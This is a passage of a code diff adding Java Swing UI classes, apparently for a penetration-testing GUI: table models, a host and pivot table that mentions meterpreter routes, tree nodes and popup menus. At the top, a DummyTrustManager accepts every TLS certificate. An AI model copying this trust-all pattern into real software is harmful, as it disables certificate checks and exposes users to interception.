public Socket createSocket(String s, int i, InetAddress inaddr, int j) throws IOException
{
return factory.createSocket(s, i, inaddr, j);
}
public Socket createSocket(String s, int i) throws IOException
{
return factory.createSocket(s, i);
}
public String[] getDefaultCipherSuites()
{
return factory.getSupportedCipherSuites();
}
public String[] getSupportedCipherSuites()
{
return factory.getSupportedCipherSuites();
}
}
private static class DummyTrustManager implements X509TrustManager
{
public void checkClientTrusted(X509Certificate ax509certificate[], String authType)
{
return;
}
public void checkServerTrusted(X509Certificate ax509certificate[], String authType)
{
return;
}
public boolean isClientTrusted(X509Certificate[] cert)
{
return true;
}
public boolean isServerTrusted(X509Certificate[] cert)
{
return true;
}
public X509Certificate[] getAcceptedIssuers()
{
return new X509Certificate[0];
}
}
}

View File

@ -0,0 +1,253 @@
package table;
import java.util.*;
import javax.swing.table.*;
import javax.swing.JTable;
import javax.swing.SwingUtilities;
public class GenericTableModel extends AbstractTableModel {
protected String[] columnNames;
protected List rows;
protected String leadColumn;
protected boolean[] editable;
protected boolean hidden = false;
protected List all;
public void showHidden(boolean f) {
synchronized (this) {
if (f != hidden) {
if (f) {
rows = new ArrayList(all.size());
rows.addAll(all);
}
else {
Iterator i = rows.iterator();
while (i.hasNext()) {
Map temp = (Map)(i.next());
if ("1".equals( temp.get("Hide") ))
i.remove();
}
}
}
hidden = f;
}
}
/** this function is *not* thread safe */
public List getRows() {
return rows;
}
public GenericTableModel(String[] columnNames, String leadColumn, int anticipatedSize) {
this.columnNames = columnNames;
this.leadColumn = leadColumn;
rows = new ArrayList(anticipatedSize);
all = new ArrayList(anticipatedSize);
editable = new boolean[columnNames.length];
for (int x = 0; x < editable.length; x++) {
editable[x] = false;
}
}
public void setCellEditable(int column) {
editable[column] = true;
}
public boolean isCellEditable(int row, int column) {
return editable[column];
}
public Object[] getSelectedValues(JTable t) {
synchronized (this) {
int row[] = t.getSelectedRows();
Object[] rv = new Object[row.length];
for (int x = 0; x < row.length; x++) {
int r = t.convertRowIndexToModel(row[x]);
if (r < rows.size() && r >= 0)
rv[x] = ( (Map)rows.get(r) ).get(leadColumn);
else
rv[x] = null;
}
return rv;
}
}
public Object[][] getSelectedValuesFromColumns(JTable t, String cols[]) {
synchronized (this) {
int row[] = t.getSelectedRows();
Object[][] rv = new Object[row.length][cols.length];
for (int x = 0; x < row.length; x++) {
int r = t.convertRowIndexToModel(row[x]);
for (int y = 0; y < cols.length; y++) {
rv[x][y] = ( (Map)rows.get(r) ).get(cols[y]);
}
}
return rv;
}
}
public Object getSelectedValue(JTable t) {
synchronized (this) {
Object[] values = getSelectedValues(t);
if (values.length == 0)
return null;
return values[0];
}
}
public Object getValueAt(JTable t, int row, String column) {
synchronized (this) {
row = t.convertRowIndexToModel(row);
if (row == -1)
return null;
return ( (Map)rows.get(row) ).get(column);
}
}
public int getSelectedRow(JTable t) {
synchronized (this) {
return t.convertRowIndexToModel(t.getSelectedRow());
}
}
public void _setValueAtRow(int row, String column, String value) {
((Map)rows.get(row)).put(column, value);
}
public void setValueForKey(String key, String column, String value) {
int row = -1;
synchronized (this) {
Iterator i = rows.iterator();
for (int x = 0; i.hasNext(); x++) {
Map temp = (Map)i.next();
if (key.equals(temp.get(leadColumn))) {
row = x;
break;
}
}
}
if (row != -1)
setValueAtRow(row, column, value);
}
public void setValueAtRow(final int row, final String column, final String value) {
if (SwingUtilities.isEventDispatchThread())
_setValueAtRow(row, column, value);
else
SwingUtilities.invokeLater(new Runnable() {
public void run() {
_setValueAtRow(row, column, value);
}
});
}
public Object getSelectedValueFromColumn(JTable t, String column) {
synchronized (this) {
int row = t.getSelectedRow();
if (row == -1)
return null;
return getValueAt(t, row, column);
}
}
public String getColumnName(int x) {
return columnNames[x];
}
public int getColumnCount() {
return columnNames.length;
}
public void addEntry(final Map row) {
if (SwingUtilities.isEventDispatchThread())
_addEntry(row);
else
SwingUtilities.invokeLater(new Runnable() {
public void run() {
_addEntry(row);
}
});
}
public void clear(final int newSize) {
if (SwingUtilities.isEventDispatchThread())
_clear(newSize);
else
SwingUtilities.invokeLater(new Runnable() {
public void run() {
_clear(newSize);
}
});
}
public void fireListeners() {
if (SwingUtilities.isEventDispatchThread())
fireTableDataChanged();
else
SwingUtilities.invokeLater(new Runnable() {
public void run() {
fireTableDataChanged();
}
});
}
public void _addEntry(Map row) {
int size;
synchronized (this) {
if (hidden == true || !"1".equals( row.get("Hide") )) {
rows.add(row);
}
all.add(row);
size = rows.size() - 1;
}
}
public void _clear(int anticipatedSize) {
synchronized (this) {
rows = new ArrayList(anticipatedSize);
all = new ArrayList(anticipatedSize);
}
}
public int getRowCount() {
synchronized (this) {
return rows.size();
}
}
public Object getValueAtColumn(JTable t, int row, String col) {
synchronized (this) {
row = t.convertRowIndexToModel(row);
Map temp = (Map)rows.get(row);
return temp.get(col);
}
}
public Object getValueAt(int row, int col) {
synchronized (this) {
if (row < rows.size()) {
Map temp = (Map)rows.get(row);
return temp.get(getColumnName(col));
}
return null;
}
}
public void setValueAt(Object value, int row, int col) {
synchronized (this) {
Map temp = (Map)rows.get(row);
temp.put(getColumnName(col), value);
}
}
}

View File

@ -0,0 +1,273 @@
package table;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import javax.swing.table.*;
import java.awt.*;
import java.awt.event.*;
import java.awt.image.*;
import java.util.*;
import ui.ATable;
import graph.Route;
import graph.GraphPopup;
public class NetworkTable extends JComponent implements ActionListener {
protected JScrollPane scroller = null;
public void actionPerformed(ActionEvent ev) {
isAlive = false;
}
public boolean isAlive() {
return isAlive;
}
public Image getScreenshot() {
BufferedImage image = new BufferedImage(getWidth(), getHeight(), BufferedImage.TYPE_4BYTE_ABGR);
Graphics g = image.getGraphics();
paint(g);
g.dispose();
return image;
}
protected boolean isAlive = true;
protected GraphPopup popup = null;
public void setGraphPopup(GraphPopup popup) {
this.popup = popup;
}
public NetworkTable() {
this(new Properties());
}
protected GenericTableModel model;
protected JTable table;
public NetworkTable(Properties display) {
this.display = display;
model = new GenericTableModel(new String[] { " ", "Address", "Description", "Pivot" }, "Address", 256);
table = new ATable(model);
TableRowSorter sorter = new TableRowSorter(model);
sorter.toggleSortOrder(1);
Comparator hostCompare = new Comparator() {
public int compare(Object a, Object b) {
long aa = Route.ipToLong(a + "");
long bb = Route.ipToLong(b + "");
if (aa > bb) {
return 1;
}
else if (aa < bb) {
return -1;
}
else {
return 0;
}
}
public boolean equals(Object a, Object b) {
return (a + "").equals(b + "");
}
};
sorter.setComparator(1, hostCompare);
sorter.setComparator(3, hostCompare);
table.setRowSorter(sorter);
table.setColumnSelectionAllowed(false);
table.getColumn("Address").setPreferredWidth(125);
table.getColumn("Pivot").setPreferredWidth(125);
table.getColumn(" ").setPreferredWidth(32);
table.getColumn(" ").setMaxWidth(32);
table.getColumn("Description").setPreferredWidth(500);
final TableCellRenderer parent = table.getDefaultRenderer(Object.class);
table.setDefaultRenderer(Object.class, new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) {
JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col);
if (col == 3 && Boolean.TRUE.equals(model.getValueAt(table, row, "Active"))) {
component.setFont(component.getFont().deriveFont(Font.BOLD));
}
else if (col == 1 && !"".equals(model.getValueAt(table, row, "Description"))) {
component.setFont(component.getFont().deriveFont(Font.BOLD));
}
else {
component.setFont(component.getFont().deriveFont(Font.PLAIN));
}
String tip = model.getValueAt(table, row, "Tooltip") + "";
if (tip.length() > 0) {
component.setToolTipText(tip);
}
return component;
}
});
table.getColumn(" ").setCellRenderer(new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) {
JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col);
component.setIcon(new ImageIcon((Image)model.getValueAt(table, row, "Image")));
component.setText("");
String tip = model.getValueAt(table, row, "Tooltip") + "";
if (tip.length() > 0) {
component.setToolTipText(tip);
}
return component;
}
});
table.addMouseListener(new MouseAdapter() {
public void all(MouseEvent ev) {
if (ev.isPopupTrigger()) {
popup.showGraphPopup(getSelectedHosts(), ev);
ev.consume();
}
}
public void mouseClicked(MouseEvent ev) { all(ev); }
public void mousePressed(MouseEvent ev) { all(ev); }
public void mouseReleased(MouseEvent ev) { all(ev); }
});
setLayout(new BorderLayout());
scroller = new JScrollPane(table);
add(scroller, BorderLayout.CENTER);
}
protected LinkedList rows = new LinkedList();
public void setTransferHandler(TransferHandler t) {
table.setTransferHandler(t);
}
public void start() {
}
public void fixSelection(int rows[]) {
if (rows.length == 0)
return;
table.getSelectionModel().setValueIsAdjusting(true);
int rowcount = table.getModel().getRowCount();
for (int x = 0; x < rows.length; x++) {
if (rows[x] < rowcount) {
table.getSelectionModel().addSelectionInterval(rows[x], rows[x]);
}
}
table.getSelectionModel().setValueIsAdjusting(false);
}
public void end() {
final int[] selected = table.getSelectedRows();
model.clear(rows.size());
Iterator i = rows.iterator();
while (i.hasNext()) {
model.addEntry((Map)i.next());
}
rows.clear();
if (SwingUtilities.isEventDispatchThread()) {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
model.fireListeners();
fixSelection(selected);
}
});
}
else {
model.fireListeners();
fixSelection(selected);
}
}
/** delete all nodes that were not "touched" since start() was last called */
public void deleteNodes() {
}
protected Properties display;
/** highlight a route (maybe to show it's in use...) */
public void highlightRoute(String src, String dst) {
Iterator i = rows.iterator();
while (i.hasNext()) {
Map temp = (Map)i.next();
if (temp.get("Address").equals(dst) && temp.get("Pivot").equals(src)) {
temp.put("Active", Boolean.TRUE);
}
}
}
/** show the meterpreter routes . :) */
public void setRoutes(Route[] routes) {
Iterator i = rows.iterator();
while (i.hasNext()) {
Map temp = (Map)i.next();
for (int x = 0; x < routes.length; x++) {
Route r = routes[x];
if (r.shouldRoute(temp.get("Address") + ""))
temp.put("Pivot", r.getGateway());
}
}
}
public String getCellAt(Point p) {
String[] x = getSelectedHosts();
if (x.length > 0) {
return x[0];
}
return null;
}
public String[] getSelectedHosts() {
Object[] sels = model.getSelectedValues(table);
String[] vals = new String[sels.length];
for (int x = 0; x < sels.length; x++) {
vals[x] = sels[x] + "";
}
return vals;
}
public void setAutoLayout(String layout) {
}
public void addActionForKeySetting(String key, String dvalue, Action action) {
}
public Object addNode(String id, String label, Image image, String tooltip) {
if (id == null || label == null)
return null;
HashMap map = new HashMap();
map.put("Address", id);
if (label.indexOf(id) > -1)
label = label.substring(id.length());
map.put("Description", label);
map.put("Tooltip", tooltip);
map.put("Image", image);
map.put(" ", tooltip);
map.put("Pivot", "");
map.put("Active", Boolean.FALSE);
rows.add(map);
return map;
}
}

View File

@ -0,0 +1,153 @@
package tree;
import javax.swing.*;
import javax.swing.tree.*;
import java.util.*;
/** implements a TreeNode that:
1. stores children in sorted order
2. requires unique children
3. provides a thread safe add(), mark(), and reset() operations
*/
public class SimpleTreeNode implements TreeNode {
protected TreeNode parent;
protected Object data;
protected List children = new LinkedList();
protected Set marked = null;
protected TreeModel model;
public SimpleTreeNode(TreeModel model, TreeNode parent, Object data) {
this.model = model;
this.parent = parent;
this.data = data;
}
public void setModel(TreeModel model) {
this.model = model;
}
public SimpleTreeNode(TreeNode parent, Object data) {
this.parent = parent;
this.data = data;
}
public Enumeration children() {
return Collections.enumeration(children);
}
public void add(final TreeNode node) {
if (SwingUtilities.isEventDispatchThread()) {
_add(node);
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
_add(node);
}
});
}
}
public TreeNode findChild(Object o) {
Iterator i = children.iterator();
while (i.hasNext()) {
SimpleTreeNode node = (SimpleTreeNode)i.next();
if (o.equals(node.getData()))
return node;
}
System.err.println("Child not found: " + o + " vs. " + children);
return null;
}
public Object getData() {
return data;
}
public void mark() {
synchronized (this) {
marked = new HashSet();
}
}
public void reset() {
if (SwingUtilities.isEventDispatchThread()) {
_reset();
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
_reset();
}
});
}
}
public void _reset() {
Iterator i = children.iterator();
while (i.hasNext()) {
Object node = i.next();
if (!marked.contains(node))
i.remove();
}
if (model instanceof DefaultTreeModel)
((DefaultTreeModel)model).nodeStructureChanged(this);
}
public void _add(TreeNode node) {
ListIterator i = children.listIterator();
String represent = node.toString().toLowerCase();
while (i.hasNext()) {
Object next = i.next();
if (next.toString().toLowerCase().equals(represent)) {
synchronized(this) {
marked.add(next);
}
return;
}
else if (represent.compareTo(next.toString().toLowerCase()) < 0) {
synchronized (this) {
i.add(node);
marked.add(node);
}
return;
}
}
children.add(node);
synchronized (this) {
marked.add(node);
}
}
public boolean getAllowsChildren() {
return true;
}
public TreeNode getChildAt(int index) {
return (TreeNode)children.get(index);
}
public int getChildCount() {
return children.size();
}
public int getIndex(TreeNode node) {
return children.indexOf(node);
}
public TreeNode getParent() {
return parent;
}
public boolean isLeaf() {
return false;
}
public String toString() {
return data.toString();
}
}

View File

@ -0,0 +1,191 @@
package ui;
import java.awt.*;
import javax.swing.*;
import javax.swing.table.*;
import javax.swing.text.*;
import javax.swing.event.*;
import javax.swing.filechooser.*;
import table.*;
import java.util.*;
public class ATable extends JTable {
protected boolean alternateBackground = false;
public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) {
final Set specialitems = new HashSet();
specialitems.add("PAYLOAD");
specialitems.add("RHOST");
specialitems.add("RHOSTS");
specialitems.add("Template");
specialitems.add("DICTIONARY");
specialitems.add("NAMELIST");
specialitems.add("SigningKey");
specialitems.add("SigningCert");
specialitems.add("WORDLIST");
return new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
TableCellRenderer render = table.getDefaultRenderer(String.class);
String content = (value != null ? value : "") + "";
if (specialitems.contains(content) || content.indexOf("FILE")!= -1) {
content = content + " \u271A";
}
JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column);
c.setToolTipText(((GenericTableModel)model).getValueAtColumn(table, row, "Tooltip") + "");
return c;
}
};
}
public static TableCellRenderer getFileTypeTableRenderer() {
return new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
TableCellRenderer render = table.getDefaultRenderer(String.class);
JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column);
if ("dir".equals(value)) {
FileSystemView view = FileSystemView.getFileSystemView();
Icon chooser = view.getSystemIcon(view.getDefaultDirectory());
((JLabel)c).setIcon(chooser);
}
else {
((JLabel)c).setIcon(null);
}
return c;
}
};
}
public static TableCellRenderer getSimpleTableRenderer() {
return new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
TableCellRenderer render = table.getDefaultRenderer(String.class);
JComponent c = (JComponent)render.getTableCellRendererComponent(table, value, isSelected, false, row, column);
((JLabel)c).setIcon(null);
return c;
}
};
}
public static TableCellRenderer getSizeTableRenderer() {
return new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
TableCellRenderer render = table.getDefaultRenderer(String.class);
JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column);
try {
long size = Long.parseLong(value + "");
String units = "b";
if (size > 1024) {
size = size / 1024;
units = "kb";
}
if (size > 1024) {
size = size / 1024;
units = "mb";
}
if (size > 1024) {
size = size / 1024;
units = "gb";
}
((JLabel)c).setText(size + units);
}
catch (Exception ex) {
}
return c;
}
};
}
public void adjust() {
setShowGrid(false);
setIntercellSpacing(new Dimension(0, 0));
setRowHeight(getRowHeight() + 2);
final TableCellEditor defaulte = getDefaultEditor(Object.class);
setDefaultEditor(Object.class, new TableCellEditor() {
public Component getTableCellEditorComponent(JTable table, Object value, boolean selected, int row, int col) {
Component editor = defaulte.getTableCellEditorComponent(table, value, selected, row, col);
if (editor instanceof JTextComponent)
new CutCopyPastePopup((JTextComponent)editor);
return editor;
}
public void addCellEditorListener(CellEditorListener l) {
defaulte.addCellEditorListener(l);
}
public void cancelCellEditing() {
defaulte.cancelCellEditing();
}
public Object getCellEditorValue() {
return defaulte.getCellEditorValue();
}
public boolean isCellEditable(EventObject anEvent) {
return defaulte.isCellEditable(anEvent);
}
public void removeCellEditorListener(CellEditorListener l) {
defaulte.removeCellEditorListener(l);
}
public boolean shouldSelectCell(EventObject anEvent) {
return defaulte.shouldSelectCell(anEvent);
}
public boolean stopCellEditing() {
return defaulte.stopCellEditing();
}
});
final TableCellRenderer defaultr = getDefaultRenderer(Object.class);
setDefaultRenderer(Object.class, new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
if (value == null) {
value = "";
}
return defaultr.getTableCellRendererComponent(table, value, isSelected, false, row, column);
}
});
}
public ATable() {
super();
adjust();
}
public ATable(TableModel model) {
super(model);
adjust();
}
public Component prepareRenderer(TableCellRenderer renderer, int row, int column) {
alternateBackground = row % 2 == 0;
Component component = super.prepareRenderer(renderer, row, column);
//((JComponent)component).setBorder(BorderFactory.createEmptyBorder(120, 80, 120, 80));
if (!Color.WHITE.equals(component.getForeground())) {
((JComponent)component).setOpaque(true);
component.setBackground(getComponentBackground());
}
return component;
}
public Color getComponentBackground() {
return alternateBackground ? new Color(0xF2F2F2) : Color.WHITE;
}
}

View File

@ -0,0 +1,94 @@
package ui;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.text.*;
import java.awt.*;
import java.awt.event.*;
/* A textfield with a popup menu to cut, copy, paste, and clear the textfield */
public class ATextField extends JTextField {
protected JPopupMenu menu = null;
public ATextField(int cols) {
super(cols);
createMenu();
}
public ATextField(Document doc, String text, int cols) {
super(doc, text, cols);
createMenu();
}
public ATextField(String text, int cols) {
super(text, cols);
createMenu();
}
public ATextField() {
super();
createMenu();
}
public void createMenu() {
if (menu != null)
return;
menu = new JPopupMenu();
JMenuItem cut = new JMenuItem("Cut", 'C');
JMenuItem copy = new JMenuItem("Copy", 'o');
JMenuItem paste = new JMenuItem("Paste", 'P');
JMenuItem clear = new JMenuItem("Clear", 'l');
cut.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
cut();
}
});
copy.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
copy();
}
});
paste.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
paste();
}
});
clear.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
setText("");
}
});
menu.add(cut);
menu.add(copy);
menu.add(paste);
menu.add(clear);
addMouseListener(new MouseAdapter() {
public void handle(MouseEvent ev) {
if (ev.isPopupTrigger()) {
menu.show((JComponent)ev.getSource(), ev.getX(), ev.getY());
}
}
public void mousePressed(MouseEvent ev) {
handle(ev);
}
public void mouseClicked(MouseEvent ev) {
handle(ev);
}
public void mouseReleased(MouseEvent ev) {
handle(ev);
}
});
}
}

View File

@ -0,0 +1,16 @@
package ui;
import java.awt.*;
import javax.swing.*;
import javax.swing.tree.*;
import java.util.*;
public class ATree extends JTree {
public ATree(TreeNode root) {
super(root);
}
public boolean getScrollableTracksViewportWidth() {
return true;
}
}

View File

@ -0,0 +1,56 @@
package ui;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.text.*;
import java.awt.*;
import java.awt.event.*;
/* A textfield with a popup menu to cut, copy, paste, and clear the textfield */
public class CopyPopup {
protected JPopupMenu menu = null;
protected JTextComponent component = null;
public CopyPopup(JTextComponent component) {
this.component = component;
createMenu();
}
public void createMenu() {
if (menu != null)
return;
menu = new JPopupMenu();
JMenuItem copy = new JMenuItem("Copy", 'o');
copy.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
component.copy();
}
});
menu.add(copy);
component.addMouseListener(new MouseAdapter() {
public void handle(MouseEvent ev) {
if (ev.isPopupTrigger()) {
menu.show((JComponent)ev.getSource(), ev.getX(), ev.getY());
}
}
public void mousePressed(MouseEvent ev) {
handle(ev);
}
public void mouseClicked(MouseEvent ev) {
handle(ev);
}
public void mouseReleased(MouseEvent ev) {
handle(ev);
}
});
}
}

View File

@ -0,0 +1,83 @@
package ui;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.text.*;
import java.awt.*;
import java.awt.event.*;
/* A textfield with a popup menu to cut, copy, paste, and clear the textfield */
public class CutCopyPastePopup {
protected JPopupMenu menu = null;
protected JTextComponent component = null;
public CutCopyPastePopup(JTextComponent component) {
this.component = component;
createMenu();
}
public void createMenu() {
if (menu != null)
return;
menu = new JPopupMenu();
JMenuItem cut = new JMenuItem("Cut", 'C');
cut.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
component.cut();
}
});
JMenuItem copy = new JMenuItem("Copy", 'o');
copy.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
component.copy();
}
});
JMenuItem paste = new JMenuItem("Paste", 'p');
paste.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
component.paste();
}
});
JMenuItem clear = new JMenuItem("Clear", 'l');
clear.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
component.setText("");
}
});
menu.add(cut);
menu.add(copy);
menu.add(paste);
menu.add(clear);
component.addMouseListener(new MouseAdapter() {
public void handle(MouseEvent ev) {
if (ev.isPopupTrigger()) {
menu.show((JComponent)ev.getSource(), ev.getX(), ev.getY());
}
}
public void mousePressed(MouseEvent ev) {
handle(ev);
}
public void mouseClicked(MouseEvent ev) {
handle(ev);
}
public void mouseReleased(MouseEvent ev) {
handle(ev);
}
});
}
}

View File

@ -0,0 +1,113 @@
package ui;
import java.awt.Component;
import java.awt.Graphics;
import java.awt.Image;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.event.MouseMotionAdapter;
import java.awt.image.BufferedImage;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JTabbedPane;
/*
* Adapted from: http://stackoverflow.com/questions/60269/how-to-implement-draggable-tab-using-java-swing
* Original author: Tom Martin
* StackOverflow.com contents is Creative Commons Share-Alike (Attribution Required) license
*
* Thanks Tom for the excellent example.
*/
public class DraggableTabbedPane extends JTabbedPane {
private boolean dragging = false;
private Image tabImage = null;
private Point currentMouseLocation = null;
private int draggedTabIndex = 0;
public DraggableTabbedPane() {
super();
addMouseMotionListener(new MouseMotionAdapter() {
public void mouseDragged(MouseEvent e) {
if(!dragging) {
// Gets the tab index based on the mouse position
int tabNumber = getUI().tabForCoordinate(DraggableTabbedPane.this, e.getX(), e.getY());
if(tabNumber >= 0) {
draggedTabIndex = tabNumber;
Rectangle bounds = getUI().getTabBounds(DraggableTabbedPane.this, tabNumber);
// Paint the tabbed pane to a buffer
Image totalImage = new BufferedImage(getWidth(), getHeight(), BufferedImage.TYPE_INT_ARGB);
Graphics totalGraphics = totalImage.getGraphics();
totalGraphics.setClip(bounds);
// Don't be double buffered when painting to a static image.
setDoubleBuffered(false);
paint(totalGraphics);
// Paint just the dragged tab to the buffer
tabImage = new BufferedImage(bounds.width, bounds.height, BufferedImage.TYPE_INT_ARGB);
Graphics graphics = tabImage.getGraphics();
graphics.drawImage(totalImage, 0, 0, bounds.width, bounds.height, bounds.x, bounds.y, bounds.x + bounds.width, bounds.y+bounds.height, DraggableTabbedPane.this);
dragging = true;
repaint();
graphics.dispose();
totalGraphics.dispose();
}
}
else {
currentMouseLocation = e.getPoint();
// Need to repaint
repaint();
}
super.mouseDragged(e);
}
});
addMouseListener(new MouseAdapter() {
public void mouseReleased(MouseEvent e) {
if(dragging) {
int tabNumber = getUI().tabForCoordinate(DraggableTabbedPane.this, e.getX(), 10);
if (e.getX() < 0) {
tabNumber = 0;
}
else if (tabNumber == -1) {
tabNumber = getTabCount() - 1;
}
if (tabNumber >= 0) {
Component comp = getComponentAt(draggedTabIndex);
Component title = getTabComponentAt(draggedTabIndex);
removeTabAt(draggedTabIndex);
insertTab("", null, comp, null, tabNumber);
setTabComponentAt(tabNumber, title);
setSelectedIndex(tabNumber);
}
}
dragging = false;
tabImage = null;
}
});
}
protected void paintComponent(Graphics g) {
super.paintComponent(g);
// Are we dragging?
if(dragging && currentMouseLocation != null && tabImage != null) {
// Draw the dragged tab
g.drawImage(tabImage, currentMouseLocation.x, currentMouseLocation.y, this);
}
}
}

Some files were not shown because too many files have changed in this diff Show More